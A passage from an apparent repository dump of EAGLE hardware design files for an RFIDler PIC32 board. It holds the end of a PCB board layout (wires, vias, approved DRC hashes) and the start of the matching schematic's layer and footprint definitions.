pad=\"33\"/>\n<contactref element=\"U6\" pad=\"59\"/>\n<wire x1=\"65.6\" y1=\"50.2\" x2=\"64.6\" y2=\"50.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"65.9\" y1=\"49.9\" x2=\"65.6\" y2=\"50.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.6\" y1=\"48.2\" x2=\"65.9\" y2=\"49.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"67.6\" y1=\"44.6\" x2=\"67.6\" y2=\"48.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70\" y1=\"42.2\" x2=\"67.6\" y2=\"44.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.2\" y1=\"41\" x2=\"70\" y2=\"42.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"85.2\" y1=\"41\" x2=\"71.2\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"50.2\" x2=\"64.52\" y2=\"50.1934\" width=\"0.2\" layer=\"1\"/>\n<via x=\"65.9\" y=\"49.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"70\" y=\"42.2\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"88.75\" y1=\"37.45\" x2=\"85.2\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.75\" y1=\"37.45\" x2=\"88.75\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$15\">\n<via x=\"45.9\" y=\"21.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n</signal>\n<signal name=\"N$36\">\n<via x=\"44\" y=\"20.27\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n</signal>\n<signal name=\"N$37\">\n<via x=\"41.8\" y=\"20.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n</signal>\n<signal name=\"N$38\">\n<contactref element=\"R14\" pad=\"2\"/>\n<contactref element=\"R45\" pad=\"1\"/>\n<wire x1=\"40.22\" y1=\"27\" x2=\"38.85\" y2=\"27\" width=\"0.2\" layer=\"1\"/>\n</signal>\n</signals>\n<errors>\n<approved hash=\"5,1,f2988308198429eb\"/>\n<approved hash=\"5,1,2ade634d7d3347ee\"/>\n<approved hash=\"5,1,f53c21d303fea9a7\"/>\n<approved hash=\"5,1,23ed0c595db4465f\"/>\n<approved hash=\"5,16,2033fab69f85cc50\"/>\n<approved hash=\"5,1,3747e8349df26079\"/>\n<approved hash=\"5,1,ccfe3ce124a1ea3f\"/>\n<approved hash=\"5,1,881bf8d99a4011d6\"/>\n<approved hash=\"5,1,b29568a19dda6516\"/>\n<approved hash=\"5,1,50f9803730905571\"/>\n<approved hash=\"5,1,78be063aa1b7f7cb\"/>\n<approved hash=\"5,1,e8b2b112fc958c06\"/>\n<approved hash=\"5,1,9a82e68ebeff7ac4\"/>\n<approved hash=\"5,1,35e1a24e71b02a8e\"/>\n<approved hash=\"5,1,f3f4144c5dcc5106\"/>\n<approved hash=\"5,1,931a0295450f6678\"/>\n<approved hash=\"5,1,c053b9553d78c24c\"/>\n<approved hash=\"5,1,891ae856be6d8ff4\"/>\n<approved hash=\"5,1,646a163fd2db0650\"/>\n<approved hash=\"5,1,5ef4c94e13b0489b\"/>\n<approved hash=\"5,1,67c8f04e6db036a7\"/>\n<approved hash=\"5,1,e0dc774e23b078b3\"/>\n<approved hash=\"5,1,0387e7dc551ea3fb\"/>\n<approved hash=\"5,1,13854c2520f44361\"/>\n<approved hash=\"5,1,244e08f1d91cc63c\"/>\n<approved hash=\"5,1,b53e21d665fd2da5\"/>\n<approved hash=\"5,1,2668a3b662d35a2f\"/>\n<approved hash=\"5,1,a95aa34975383df0\"/>\n<approved hash=\"5,1,89d01e4e01b05abf\"/>\n<approved hash=\"5,1,78d3d6be6570666b\"/>\n<approved hash=\"5,1,fb1b56cb621462b2\"/>\n<approved hash=\"5,1,5f61aa2e32faf187\"/>\n<approved hash=\"5,1,4def21851c025614\"/>\n<approved hash=\"5,1,235982cd62706662\"/>\n<approved hash=\"5,1,553f8e36fbaa3a7f\"/>\n<approved hash=\"5,1,ccf7db8b4b27d16e\"/>\n<approved hash=\"5,1,a09102b8651462bb\"/>\n<approved hash=\"5,1,f8eaf7786a784f93\"/>\n<approved hash=\"5,1,a04a8c07fbf75a68\"/>\n<approved hash=\"5,1,baa880019c9891d7\"/>\n<approved hash=\"5,1,8e8c51cbfb2aa588\"/>\n<approved hash=\"5,1,3223a54e83b0d84c\"/>\n<approved hash=\"5,1,9ac783dadf1d647a\"/>\n<approved hash=\"5,1,ea11ed25807ad481\"/>\n<approved hash=\"5,1,63b69c3833fff9f8\"/>\n<approved hash=\"5,1,f19091f796955a2e\"/>\n<approved hash=\"5,1,5b36cc4e25b07e59\"/>\n<approved hash=\"5,1,80325d4b587e33f0\"/>\n<approved hash=\"5,1,e1259754b44db753\"/>\n<approved hash=\"5,1,a70b35ce68360cd8\"/>\n<approved hash=\"5,1,b093bfdf665f3d2b\"/>\n<approved hash=\"5,1,4b2123faf0489379\"/>\n<approved hash=\"5,1,5929318d4b3c3a7e\"/>\n<approved hash=\"5,1,4d04aa4c4dcc41f6\"/>\n<approved hash=\"5,1,a72d0efa8022af21\"/>\n<approved hash=\"5,1,e470034c2fcc2382\"/>\n<approved hash=\"5,1,ff6c184c0dcc019e\"/>\n<approved hash=\"5,1,3659d14ca3ccafab\"/>\n<approved hash=\"5,1,514ab64c1dcc11b8\"/>\n<approved hash=\"5,1,2484b24c31c86a6e\"/>\n<approved hash=\"5,1,62c2a77073fd7777\"/>\n<approved hash=\"5,1,f207ec4a8fdc64f0\"/>\n<approved hash=\"5,1,80cb3d40e5aeebaa\"/>\n<approved hash=\"5,1,39ba4420d475a76e\"/>\n<approved hash=\"5,1,f9691f4abfccb27e\"/>\n<approved hash=\"5,16,35e1a24e71b02a8e\"/>\n<approved hash=\"5,16,f3f4144c5dcc5106\"/>\n<approved hash=\"5,16,5ef4c94e13b0489b\"/>\n<approved hash=\"5,16,67c8f04e6db036a7\"/>\n<approved hash=\"5,16,e0dc774e23b078b3\"/>\n<approved hash=\"5,16,89d01e4e01b05abf\"/>\n<approved hash=\"5,16,f207edb29a2470f0\"/>\n<approved hash=\"5,16,3223a54e83b0d84c\"/>\n<approved hash=\"5,16,5b36cc4e25b07e59\"/>\n<approved hash=\"5,16,4d04aa4c4dcc41f6\"/>\n<approved hash=\"5,16,e470034c2fcc2382\"/>\n<approved hash=\"5,16,ff6c184c0dcc019e\"/>\n<approved hash=\"5,16,3659d14ca3ccafab\"/>\n<approved hash=\"5,16,514ab64c1dcc11b8\"/>\n<approved hash=\"5,16,2484b24c31c86a6e\"/>\n<approved hash=\"5,16,e453f1299d797e7e\"/>\n<approved hash=\"5,16,f9691f4abfccb27e\"/>\n<approved hash=\"5,1,a7de8467eb94f1d1\"/>\n<approved hash=\"5,1,9ee236db794a11c2\"/>\n<approved hash=\"5,1,6d955ecb94caae9b\"/>\n<approved hash=\"5,1,59bc028036a62ce2\"/>\n<approved hash=\"5,1,73049e16de1a0306\"/>\n<approved hash=\"5,1,f336a445be2c3e69\"/>\n<approved hash=\"5,1,f03f36a4eccaf017\"/>\n<approved hash=\"5,1,ece73a016ab944f6\"/>\n<approved hash=\"5,1,0aedb9ce4e14a641\"/>\n<approved hash=\"5,1,8dd53a594d10a1ea\"/>\n<approved hash=\"5,1,6ca2e463087a822a\"/>\n<approved hash=\"5,1,737865425b14a657\"/>\n<approved hash=\"5,1,6d5e34bdeea56b3c\"/>\n<approved hash=\"5,1,f440e6d55810a1fc\"/>\n<approved hash=\"5,1,6d0e3440ef9f6a33\"/>\n<approved hash=\"5,1,14c9e677cef8cee6\"/>\n<approved hash=\"5,1,3a0ce528eeadc077\"/>\n<approved hash=\"5,1,d46f6f91366c6d6c\"/>\n<approved hash=\"5,1,6c1de100ff84086e\"/>\n<approved hash=\"5,1,932958801299e139\"/>\n<approved hash=\"5,1,a0b77a6176a25c4f\"/>\n<approved hash=\"5,1,c14b42aec93c7f25\"/>\n<approved hash=\"5,1,87b4da9fe8b119a7\"/>\n<approved hash=\"5,1,d2dbbaabf1fdfd88\"/>\n<approved hash=\"5,1,c7c50cb92c333980\"/>\n<approved hash=\"5,1,46b9874ed6feea74\"/>\n<approved hash=\"5,1,04c2bce88664b9d1\"/>\n<approved hash=\"5,1,e15a3c6402a369e1\"/>\n<approved hash=\"5,1,d7a20ea82d719cc1\"/>\n<approved hash=\"5,1,cc7de56f1b66c816\"/>\n<approved hash=\"5,1,82ec326952180cfd\"/>\n<approved hash=\"5,1,e6af15ba3466a583\"/>\n<approved hash=\"5,1,d3d88a6a7cc9d5ed\"/>\n<approved hash=\"5,1,6191965d37e6a2da\"/>\n<approved hash=\"5,1,7e84d36940d96f64\"/>\n<approved hash=\"5,1,57c07e1696a6cfb0\"/>\n<approved hash=\"5,1,d1ab8be37d5d69e9\"/>\n<approved hash=\"5,1,bd19a6f30a507d4a\"/>\n<approved hash=\"5,1,9dd99b4f6fc1ecde\"/>\n<approved hash=\"4,1,944156802d235447\"/>\n<approved hash=\"4,1,830d1dcd89cfa305\"/>\n<approved hash=\"4,16,944156802d235447\"/>\n<approved hash=\"4,16,830d1dcd89cfa305\"/>\n<approved hash=\"4,1,944f8e03d85b5447\"/>\n<approved hash=\"4,1,71bebda289cfa302\"/>\n<approved hash=\"4,16,944f8e03d85b5447\"/>\n<approved hash=\"4,16,71bebda289cfa302\"/>\n<approved hash=\"19,16,42c11c43a75e154c\"/>\n<approved hash=\"19,16,b432693ba42f9c59\"/>\n<approved hash=\"19,16,9e2af8cf0e3993cf\"/>\n<approved hash=\"19,16,1f47811d86e8e3a1\"/>\n<approved hash=\"19,16,2b4c0e38b362038d\"/>\n<approved hash=\"19,16,97706ccdba75a90d\"/>\n<approved hash=\"19,16,5e358ca26c62512c\"/>\n<approved hash=\"19,1,9b6dfa18519be911\"/>\n<approved hash=\"19,1,b764c8c025ba29da\"/>\n<approved hash=\"19,1,dafe83fd406956a6\"/>\n<approved hash=\"3,16,42dddf21df0742fb\"/>\n<approved hash=\"3,16,bb76ab777683b34c\"/>\n<approved hash=\"3,16,ba448b6657aa17f9\"/>\n<approved hash=\"3,16,3da6405a40193de5\"/>\n<approved hash=\"3,16,f86fc793c79df861\"/>\n<approved hash=\"3,16,460240239dd98bf5\"/>\n<approved hash=\"3,16,4b1ed7e2d6824a7e\"/>\n<approved hash=\"3,16,fd4620ba21dafc26\"/>\n<approved hash=\"3,1,3c32c0cec1813d7d\"/>\n<approved hash=\"3,1,77c566aac566c63b\"/>\n<approved hash=\"3,1,60999d659a2467d8\"/>\n<approved hash=\"3,1,e707d006cac2ccbf\"/>\n<approved hash=\"3,16,5d48556ac8ae8d7b\"/>\n<approved hash=\"3,16,8f2fb4d3b4138fef\"/>\n<approved hash=\"3,1,c758c461d9e3c89c\"/>\n<approved hash=\"19,1,f9a35da36144c75a\"/>\n<approved hash=\"19,1,01705c9d37ce1054\"/>\n<approved hash=\"19,1,3091729eb71e2cee\"/>\n<approved hash=\"19,1,28d013fdf159138b\"/>\n<approved hash=\"5,1,7a0b65ec4c684272\"/>\n<approved hash=\"19,1,101c0e2a9c5d478b\"/>\n<approved hash=\"19,1,e54dc17284757cbb\"/>\n<approved hash=\"19,1,2837ebe747a0ad8b\"/>\n<approved hash=\"19,1,c96d759d33caa6c1\"/>\n<approved hash=\"19,1,ad4446b007bd11ac\"/>\n<approved hash=\"19,1,ef0af680f7aa386a\"/>\n<approved hash=\"19,1,11e8f2d58780715f\"/>\n<approved hash=\"19,1,32a5f927872c5e83\"/>\n<approved hash=\"19,1,6db667bc66337a3c\"/>\n<approved hash=\"19,1,c7aeed2118638430\"/>\n<approved hash=\"19,1,a6c2fa806fd4595d\"/>\n<approved hash=\"4,16,04a0602458253ca1\"/>\n<approved hash=\"19,16,121b141d480849d2\"/>\n<approved hash=\"19,16,d777b297b17fd49f\"/>\n<approved hash=\"4,16,0525e1a1e5000184\"/>\n<approved hash=\"19,16,3049ab87bc8c6563\"/>\n<approved hash=\"19,16,5c1a76316dd3a4d3\"/>\n<approved hash=\"19,16,5fca8a6f050d983f\"/>\n<approved hash=\"19,16,98167136b71678f6\"/>\n<approved hash=\"19,16,e2298497db5346c4\"/>\n<approved hash=\"19,16,84661b4b36ba52be\"/>\n<approved hash=\"19,16,3cae5e1e6664e0c9\"/>\n<approved hash=\"19,16,5abba55ba4715b91\"/>\n<approved hash=\"4,16,2ee46660724d3ac9\"/>\n<approved hash=\"4,16,8527a1a39e16ba92\"/>\n</errors>\n</board>\n</drawing>\n<compatibility>\n<note version=\"6.3\" minversion=\"6.2.2\" severity=\"warning\">\nSince Version 6.2.2 text objects can contain more than one line,\nwhich will not be processed correctly with this version.\n</note>\n</compatibility>\n</eagle>\n"
  },
  {
    "path": "Hardware/Pic32/RFIDLER V22 beta.sch",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE eagle SYSTEM \"eagle.dtd\">\n<eagle version=\"6.5.0\">\n<drawing>\n<settings>\n<setting alwaysvectorfont=\"yes\"/>\n<setting verticaltext=\"up\"/>\n</settings>\n<grid distance=\"0.1\" unitdist=\"inch\" unit=\"inch\" style=\"lines\" multiple=\"1\" display=\"no\" altdistance=\"0.01\" altunitdist=\"inch\" altunit=\"inch\"/>\n<layers>\n<layer number=\"1\" name=\"Top\" color=\"4\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"2\" name=\"Route2\" color=\"1\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"3\" name=\"Route3\" color=\"4\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"4\" name=\"Route4\" color=\"1\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"5\" name=\"Route5\" color=\"4\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"6\" name=\"Route6\" color=\"1\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"7\" name=\"Route7\" color=\"4\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"8\" name=\"Route8\" color=\"1\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"9\" name=\"Route9\" color=\"4\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"10\" name=\"Route10\" color=\"1\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"11\" name=\"Route11\" color=\"4\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"12\" name=\"Route12\" color=\"1\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"13\" name=\"Route13\" color=\"4\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"14\" name=\"Route14\" color=\"1\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"15\" name=\"Route15\" color=\"4\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"16\" name=\"Bottom\" color=\"1\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"17\" name=\"Pads\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"18\" name=\"Vias\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"19\" name=\"Unrouted\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"20\" name=\"Dimension\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"21\" name=\"tPlace\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"22\" name=\"bPlace\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"23\" name=\"tOrigins\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"24\" name=\"bOrigins\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"25\" name=\"tNames\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"26\" name=\"bNames\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"27\" name=\"tValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"28\" name=\"bValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"29\" name=\"tStop\" color=\"7\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"30\" name=\"bStop\" color=\"7\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"31\" name=\"tCream\" color=\"7\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"32\" name=\"bCream\" color=\"7\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"33\" name=\"tFinish\" color=\"6\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"34\" name=\"bFinish\" color=\"6\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"35\" name=\"tGlue\" color=\"7\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"36\" name=\"bGlue\" color=\"7\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"37\" name=\"tTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"38\" name=\"bTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"39\" name=\"tKeepout\" color=\"4\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"40\" name=\"bKeepout\" color=\"1\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"41\" name=\"tRestrict\" color=\"4\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"42\" name=\"bRestrict\" color=\"1\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"43\" name=\"vRestrict\" color=\"2\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"44\" name=\"Drills\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"45\" name=\"Holes\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"46\" name=\"Milling\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"47\" name=\"Measures\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"48\" name=\"Document\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"49\" name=\"Reference\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"50\" name=\"dxf\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"51\" name=\"tDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"52\" name=\"bDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"53\" name=\"tGND_GNDA\" color=\"7\" fill=\"9\" visible=\"no\" active=\"no\"/>\n<layer number=\"54\" name=\"bGND_GNDA\" color=\"1\" fill=\"9\" visible=\"no\" active=\"no\"/>\n<layer number=\"56\" name=\"wert\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"57\" name=\"tCAD\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"91\" name=\"Nets\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"92\" name=\"Busses\" color=\"1\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"93\" name=\"Pins\" color=\"2\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"94\" name=\"Symbols\" color=\"4\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"95\" name=\"Names\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"96\" name=\"Values\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"97\" name=\"Info\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"98\" name=\"Guide\" color=\"6\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"100\" name=\"Muster\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"101\" name=\"Patch_Top\" color=\"12\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"102\" name=\"Vscore\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"103\" name=\"tMap\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"104\" name=\"Name\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"105\" name=\"tPlate\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"106\" name=\"bPlate\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"107\" name=\"Crop\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"108\" name=\"tplace-old\" color=\"10\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"109\" name=\"ref-old\" color=\"11\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"110\" name=\"fp0\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"111\" name=\"LPC17xx\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"112\" name=\"tSilk\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"116\" name=\"Patch_BOT\" color=\"9\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"121\" name=\"_tsilk\" color=\"14\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"122\" name=\"_bsilk\" color=\"14\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"123\" name=\"tTestmark\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"124\" name=\"bTestmark\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"125\" name=\"_tNames\" color=\"14\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"126\" name=\"_bNames\" color=\"5\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"127\" name=\"_tValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"128\" name=\"_bValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"131\" name=\"tAdjust\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"132\" name=\"bAdjust\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"144\" name=\"Drill_legend\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"150\" name=\"Notes\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"151\" name=\"HeatSink\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"152\" name=\"_bDocu\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"153\" name=\"FabDoc1\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"154\" name=\"FabDoc2\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"155\" name=\"FabDoc3\" color=\"7\" fill=\"15\" visible=\"no\" active=\"no\"/>\n<layer number=\"199\" name=\"Contour\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"200\" name=\"200bmp\" color=\"1\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"201\" name=\"201bmp\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"202\" name=\"202bmp\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"203\" name=\"203bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"204\" name=\"204bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"205\" name=\"205bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"206\" name=\"206bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"207\" name=\"207bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"208\" name=\"208bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"209\" name=\"209bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"210\" name=\"210bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"211\" name=\"211bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"212\" name=\"212bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"213\" name=\"213bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"214\" name=\"214bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"215\" name=\"215bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"216\" name=\"216bmp\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"217\" name=\"217bmp\" color=\"18\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"218\" name=\"218bmp\" color=\"19\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"219\" name=\"219bmp\" color=\"20\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"220\" name=\"220bmp\" color=\"21\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"221\" name=\"221bmp\" color=\"22\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"222\" name=\"222bmp\" color=\"23\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"223\" name=\"223bmp\" color=\"24\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"224\" name=\"224bmp\" color=\"25\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"248\" name=\"Housing\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"249\" name=\"Edge\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"250\" name=\"Descript\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"251\" name=\"SMDround\" color=\"12\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"254\" name=\"cooling\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n</layers>\n<schematic xreflabel=\"%F%N/%S.%C%R\" xrefpart=\"/%S.%C%R\">\n<libraries>\n<library name=\"1FAB\">\n<description>AMR's Library</description>\n<packages>\n<package name=\"SC70-5L\">\n<description>&lt;b&gt;SC-70 Package&lt;/b&gt;</description>\n<wire x1=\"1.1\" y1=\"-0.5\" x2=\"-1.1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.1\" y1=\"-0.5\" x2=\"-1.1\" y2=\"0.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"0.5\" x2=\"1.1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"0.5\" x2=\"1.1\" y2=\"-0.5\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"4\" x=\"0.65\" y=\"0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"5\" x=\"-0.65\" y=\"0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"3\" x=\"0.65\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<text x=\"-1.2\" y=\"1.35\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.2\" y=\"-2.35\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.5\" y1=\"0.6\" x2=\"0.8\" y2=\"1.1\" layer=\"51\"/>\n<rectangle x1=\"-0.8\" y1=\"0.6\" x2=\"-0.5\" y2=\"1.1\" layer=\"51\"/>\n<rectangle x1=\"-0.8\" y1=\"-1.1\" x2=\"-0.5\" y2=\"-0.6\" layer=\"51\"/>\n<rectangle x1=\"-0.15\" y1=\"-1.1\" x2=\"0.15\" y2=\"-0.6\" layer=\"51\"/>\n<rectangle x1=\"0.5\" y1=\"-1.1\" x2=\"0.8\" y2=\"-0.6\" layer=\"51\"/>\n<text x=\"-2.032\" y=\"-1.524\" size=\"1.016\" layer=\"21\">*</text>\n</package>\n<package name=\"SOT65P210X110-6N\">\n<smd name=\"1\" x=\"-1.0414\" y=\"0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"2\" x=\"-1.0414\" y=\"0\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd 